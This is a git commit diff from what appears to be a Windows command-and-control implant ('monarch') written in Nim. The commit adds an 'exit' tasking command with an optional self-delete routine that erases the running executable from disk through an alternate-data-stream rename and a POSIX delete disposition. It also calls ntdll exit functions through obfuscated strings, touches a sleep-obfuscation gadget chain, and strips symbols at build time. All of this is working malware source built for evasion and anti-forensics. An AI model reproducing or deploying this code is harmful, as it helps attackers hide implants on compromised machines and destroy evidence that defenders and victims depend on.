Improved 'exit' command and implemented self-delete functionality.
This commit is contained in:
83
src/agent/core/exit.nim
Normal file
83
src/agent/core/exit.nim
Normal file
@@ -0,0 +1,83 @@
|
|||||||
|
import winim/lean
|
||||||
|
import strutils, strformat, random
|
||||||
|
import ../utils/io
|
||||||
|
import ../../common/[types, utils]
|
||||||
|
|
||||||
|
type
|
||||||
|
RtlExitUserThread = proc(exitStatus: NTSTATUS): VOID {.stdcall.}
|
||||||
|
RtlExitUserProcess = proc(exitStatus: NTSTATUS): VOID {.stdcall.}
|
||||||
|
|
||||||
|
FILE_RENAME_INFO2* = object
|
||||||
|
Flags*: DWORD
|
||||||
|
RootDirectory*: HANDLE
|
||||||
|
FileNameLength*: DWORD
|
||||||
|
FileName*: array[MAX_PATH, WCHAR]
|
||||||
|
|
||||||
|
FILE_DISPOSITION_INFO_EX* = object
|
||||||
|
Flags*: DWORD
|
||||||
|
|
||||||
|
const
|
||||||
|
RAND_MAX = 0x7FFF
|
||||||
|
FILE_DISPOSITION_FLAG_DELETE = 0x00000001 # https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/ns-ntddk-_file_disposition_information_ex
|
||||||
|
FILE_DISPOSITION_POSIX_SEMANTICS = 0x00000002
|
||||||
|
fileDispositionInfoEx* = 21 # https://learn.microsoft.com/en-us/windows/win32/api/minwinbase/ne-minwinbase-file_info_by_handle_class
|
||||||
|
|
||||||
|
#[
|
||||||
|
Delete own executable image from disk.
|
||||||
|
- https://maldevacademy.com/modules/72
|
||||||
|
]#
|
||||||
|
proc deleteSelfFromDisk*() =
|
||||||
|
let newStream = newWString(fmt":{uint(rand(RAND_MAX)):x}{uint(rand(RAND_MAX)):x}")
|
||||||
|
var
|
||||||
|
szFileName: array[MAX_PATH * 2, WCHAR]
|
||||||
|
fileRenameInfo2: FILE_RENAME_INFO2
|
||||||
|
fileDisposalInfoEx: FILE_DISPOSITION_INFO_EX
|
||||||
|
hLocalImgFile: HANDLE = INVALID_HANDLE_VALUE
|
||||||
|
|
||||||
|
# Initialize fileRenameInfo
|
||||||
|
fileRenameInfo2.FileNameLength = cast[DWORD](newStream.len() * sizeof(WCHAR))
|
||||||
|
fileRenameInfo2.RootDirectory = 0
|
||||||
|
fileRenameInfo2.Flags = 0
|
||||||
|
|
||||||
|
for i in 0 ..< newStream.len():
|
||||||
|
fileRenameInfo2.FileName[i] = newStream[i]
|
||||||
|
|
||||||
|
# Get full file name of the executable
|
||||||
|
if GetModuleFileNameW(0, cast[LPWSTR](addr szFileName[0]), MAX_PATH * 2) == 0:
|
||||||
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
|
hLocalImgFile = CreateFileW(cast[LPCWSTR](addr szFileName[0]), DELETE or SYNCHRONIZE, FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0)
|
||||||
|
if hLocalImgFile == INVALID_HANDLE_VALUE:
|
||||||
|
raise newException(CatchableError, "CreateFileW [1]" & GetLastError().getError())
|
||||||
|
|
||||||
|
if SetFileInformationByHandle(hLocalImgFile, fileRenameInfo, addr fileRenameInfo2, cast[DWORD](sizeof(FILE_RENAME_INFO2))) == FALSE:
|
||||||
|
raise newException(CatchableError, "SetFileInfByHandle [1]" & GetLastError().getError())
|
||||||
|
|
||||||
|
CloseHandle(hLocalImgFile)
|
||||||
|
|
||||||
|
hLocalImgFile = CreateFileW(cast[LPCWSTR](addr szFileName[0]), DELETE or SYNCHRONIZE, FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0)
|
||||||
|
if hLocalImgFile == INVALID_HANDLE_VALUE:
|
||||||
|
raise newException(CatchableError, "CreateFileW [2]" & GetLastError().getError())
|
||||||
|
|
||||||
|
fileDisposalInfoEx.Flags = FILE_DISPOSITION_FLAG_DELETE or FILE_DISPOSITION_POSIX_SEMANTICS
|
||||||
|
|
||||||
|
if SetFileInformationByHandle(hLocalImgFile, fileDispositionInfoEx, addr fileDisposalInfoEx, cast[DWORD](sizeof(FILE_DISPOSITION_INFO_EX))) == FALSE:
|
||||||
|
raise newException(CatchableError, "SetFileInfByHandle [2]" & GetLastError().getError())
|
||||||
|
|
||||||
|
CloseHandle(hLocalImgFile)
|
||||||
|
|
||||||
|
proc exit*(exitType: ExitType = EXIT_PROCESS, selfDelete: bool = false) =
|
||||||
|
let hNtdll = GetModuleHandleA(protect("ntdll"))
|
||||||
|
|
||||||
|
if selfDelete: deleteSelfFromDisk()
|
||||||
|
|
||||||
|
case exitType:
|
||||||
|
of ExitType.EXIT_PROCESS:
|
||||||
|
let pRtlExitUserProcess = cast[RtlExitUserProcess](GetProcAddress(hNtdll, protect("RtlExitUserProcess")))
|
||||||
|
pRtlExitUserProcess(STATUS_SUCCESS)
|
||||||
|
of ExitType.EXIT_THREAD:
|
||||||
|
let pRtlExitUserThread = cast[RtlExitUserThread](GetProcAddress(hNtdll, protect("RtlExitUserThread")))
|
||||||
|
pRtlExitUserThread(STATUS_SUCCESS)
|
||||||
|
else: discard
|
||||||
|
|
||||||
|
|
||||||
@@ -548,7 +548,7 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
|
|||||||
inc gadget
|
inc gadget
|
||||||
|
|
||||||
# ctx[6] contains the final call, which exits the created thread after all APC calls have been executed.
|
# ctx[6] contains the final call, which exits the created thread after all APC calls have been executed.
|
||||||
ctx[gadget].Rip = cast[DWORD64](ExitThread)
|
ctx[gadget].Rip = cast[DWORD64](winbase.ExitThread)
|
||||||
ctx[gadget].Rcx = cast[DWORD64](0)
|
ctx[gadget].Rcx = cast[DWORD64](0)
|
||||||
|
|
||||||
# Queueing the chain
|
# Queueing the chain
|
||||||
|
|||||||
@@ -5,5 +5,5 @@
|
|||||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||||
-d:MODULES="511"
|
-d:MODULES="511"
|
||||||
-d:VERBOSE="false"
|
-d:VERBOSE="true"
|
||||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||||
@@ -25,6 +25,7 @@ type
|
|||||||
LONG = 3'u8
|
LONG = 3'u8
|
||||||
BOOL = 4'u8
|
BOOL = 4'u8
|
||||||
BINARY = 5'u8
|
BINARY = 5'u8
|
||||||
|
# FLAG = 6'u8
|
||||||
|
|
||||||
HeaderFlags* = enum
|
HeaderFlags* = enum
|
||||||
# Flags should be powers of 2 so they can be connected with or operators
|
# Flags should be powers of 2 so they can be connected with or operators
|
||||||
@@ -96,6 +97,10 @@ type
|
|||||||
ZILEAN = 2'u8
|
ZILEAN = 2'u8
|
||||||
FOLIAGE = 3'u8
|
FOLIAGE = 3'u8
|
||||||
|
|
||||||
|
ExitType* {.size: sizeof(uint8).} = enum
|
||||||
|
EXIT_PROCESS = "process"
|
||||||
|
EXIT_THREAD = "thread"
|
||||||
|
|
||||||
ModuleType* = enum
|
ModuleType* = enum
|
||||||
MODULE_ALL = 0'u32
|
MODULE_ALL = 0'u32
|
||||||
MODULE_SLEEP = 1'u32
|
MODULE_SLEEP = 1'u32
|
||||||
|
|||||||
@@ -9,8 +9,10 @@ let commands* = @[
|
|||||||
name: protect("exit"),
|
name: protect("exit"),
|
||||||
commandType: CMD_EXIT,
|
commandType: CMD_EXIT,
|
||||||
description: protect("Exit the agent process."),
|
description: protect("Exit the agent process."),
|
||||||
example: protect("exit"),
|
example: protect("exit process"),
|
||||||
arguments: @[
|
arguments: @[
|
||||||
|
Argument(name: protect("exitType"), description: protect("Available options: PROCESS/THREAD. Default: PROCESS."), argumentType: STRING, isRequired: false),
|
||||||
|
Argument(name: protect("selfDelete"), description: protect("Attempt to delete the binary within which is the agent was running from disk. Default: false"), argumentType: BOOL, isRequired: false),
|
||||||
],
|
],
|
||||||
execute: executeExit
|
execute: executeExit
|
||||||
)
|
)
|
||||||
@@ -22,25 +24,26 @@ when not defined(agent):
|
|||||||
|
|
||||||
when defined(agent):
|
when defined(agent):
|
||||||
|
|
||||||
import winim/lean
|
|
||||||
import strutils, strformat
|
import strutils, strformat
|
||||||
import ../agent/utils/io
|
import ../agent/utils/io
|
||||||
|
import ../agent/core/exit
|
||||||
import ../agent/protocol/result
|
import ../agent/protocol/result
|
||||||
import ../common/[utils, serialize]
|
import ../common/[utils, serialize]
|
||||||
|
|
||||||
type
|
|
||||||
RtlExitUserThread = proc(exitStatus: NTSTATUS): VOID {.stdcall.}
|
|
||||||
RtlExitUserProcess = proc(exitStatus: NTSTATUS): VOID {.stdcall.}
|
|
||||||
|
|
||||||
proc executeExit(ctx: AgentCtx, task: Task): TaskResult =
|
proc executeExit(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
try:
|
try:
|
||||||
let
|
|
||||||
hNtdll = GetModuleHandleA(protect("ntdll"))
|
|
||||||
pRtlExitUserThread = cast[RtlExitUserThread](GetProcAddress(hNtdll, protect("RtlExitUserThread")))
|
|
||||||
pRtlExitUserProcess = cast[RtlExitUserProcess](GetProcAddress(hNtdll, protect("RtlExitUserProcess")))
|
|
||||||
|
|
||||||
print " [>] Exiting."
|
print " [>] Exiting."
|
||||||
pRtlExitUserProcess(STATUS_SUCCESS)
|
|
||||||
|
case task.argCount:
|
||||||
|
of 0:
|
||||||
|
exit()
|
||||||
|
of 1:
|
||||||
|
let exitType = parseEnum[ExitType](Bytes.toString(task.args[0].data))
|
||||||
|
exit(exitType)
|
||||||
|
else:
|
||||||
|
let exitType = parseEnum[ExitType](Bytes.toString(task.args[0].data))
|
||||||
|
let selfDelete = cast[bool](task.args[1].data[0])
|
||||||
|
exit(exitType, selfDelete)
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||||
Reference in New Issue
Block a user